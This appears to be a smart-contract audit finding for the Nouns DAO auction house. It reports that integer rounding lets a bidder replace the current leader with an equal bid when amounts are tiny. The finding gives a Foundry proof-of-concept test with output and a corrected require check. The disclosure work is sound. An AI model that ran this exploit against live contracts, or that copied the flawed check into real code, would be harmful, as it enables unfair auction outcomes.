Vast Infrared Pelican

Medium

# User bidding with same current bid amount price can replace current bid winner  on NounsAuctionHouseV3::createBid under certains condition

### Summary

User bidding with same current bid amount price can replace current bid winner  on NounsAuctionHouseV3::createBid under certains condition show below  

### Root Cause

Wrong requirement check on NounsAuctionHouseV3.sol::createBid.  
NounsAuctionHouseV3.sol::createBid implements a condition to check if bid is bigger than current bid amount:  
https://github.com/sherlock-audit/2024-11-nounsdao/blob/8b6fb94f103134e751cf016e5c3f4185be89bb49/nouns-monorepo/packages/nouns-contracts/contracts/NounsAuctionHouseV3.sol#L157-L160  
```solidity
    function createBid(uint256 nounId, uint32 clientId) public payable override {
        require(
@>          msg.value >= _auction.amount + ((_auction.amount * _minBidIncrementPercentage) / 100),
            'Must send more than last bid by minBidIncrementPercentage amount'
        );
```
However if auction.amount * minBidIncrementPercentage is less than 100 then:  
```solidity
((_auction.amount * _minBidIncrementPercentage) / 100)
```
Will become 0.  
So the require condition will allow msg.value to be equal to current auction.amount, ie, allowing any user to be the highest bidder without bidding more amount than current bid  

This is feassible because of current mainnet values on NounsAuctionHouseV2(0x830bd73e4184cef73443c15111a1df14e495c706) are:  
- reservePrice: 1
- minBidIncrementPercentage: 2
So this will be valid if _auction.amount < 50 wei


### Internal pre-conditions

Current auction.amount * minBidIncrementPercentage is less than 100  

### External pre-conditions

Another user calling NounsAuctionHouseV3.sol::createBid with same current bid  amount

### Attack Path

1. User bids amount such that auction.amount * minBidIncrementPercentage is less than 100   
2. Another users sees this and calls NounsAuctionHouseV3.sol::createBid with same amount replacing current bid leader

### Impact

User can replace current bidder without bidding more value.  
Likehood: Low  
Impact: High  
Severity: Medium  
  

### PoC

Add the following test case in test/foundry/Upgrade/UpgradeMainnetFork.t.sol under contract AuctionHouseUpgradeMainnetForkTest:  
```solidity
    function test_auctionHouseV3_replaceBidSameAmount() public {
        console.log("[i] Addresses");
        console.log("\tUser1 address => ",address(user1));
        console.log("\tUser2 address => ",address(user2));

        INounsAuctionHouseV3 auction = INounsAuctionHouseV3(AUCTION_HOUSE_PROXY_MAINNET);
        IStreamEscrow streamEscrow = auction.streamEscrow();
        auction.settleCurrentAndCreateNewAuction();

        uint96 nounId1 = auction.auction().nounId;
        uint reservePrice = auction.reservePrice();
        uint current_amount = auction.auction().amount;
        uint minBidIncrementPercentage = auction.minBidIncrementPercentage();

        console.log("[i] Current bid amount ",current_amount);
        console.log("[i] Current reservePrice ",reservePrice);
        console.log("[i] Current minBidIncrementPercentage ",minBidIncrementPercentage);

        uint val_to_bid = 20;

        //User1 bids
        console.log("\n");
        console.log("[i] User1 bids with amount ", val_to_bid);
        vm.prank(user1);
        auction.createBid{ value: val_to_bid }(nounId1);

        console.log(
            "After bid current highest bidder ",
            auction.auction().bidder
        );

        //USER2
        console.log("\n");
        console.log("[i] User2 bids with amount ", val_to_bid);
        vm.prank(user2);
        auction.createBid{ value: val_to_bid }(nounId1);

        console.log(
            "After bid current highest bidder ",
            auction.auction().bidder
        );

        vm.warp(block.timestamp + auction.auction().endTime);
        auction.settleCurrentAndCreateNewAuction();
    }
```
Exec test with:  
```bash
forge test --mt test_auctionHouseV3_replaceBidSameAmount -vv
```
Observe logs:  
```bash
[PASS] test_auctionHouseV3_replaceBidSameAmount() (gas: 648181)
Logs:
  foundry profile:  default
  [i] Addresses
  	User1 address =>  0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
  	User2 address =>  0x537C8f3d3E18dF5517a58B3fB9D9143697996802
  [i] Current bid amount  0
  [i] Current reservePrice  1
  [i] Current minBidIncrementPercentage  2
  

  [i] User1 bids with amount  20
  After bid current highest bidder  0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF
  

  [i] User2 bids with amount  20
  After bid current highest bidder  0x537C8f3d3E18dF5517a58B3fB9D9143697996802
```
User2 can replace user1 bid, without sending more value  

### Mitigation

Modified require condition to check bid caller sends more value than current amount:  
```solidity
        require(
            msg.value >= _auction.amount + ((_auction.amount * _minBidIncrementPercentage) / 100) && msg.value > _auction.amount ,
            'Must send more than last bid by minBidIncrementPercentage amount'
        );
```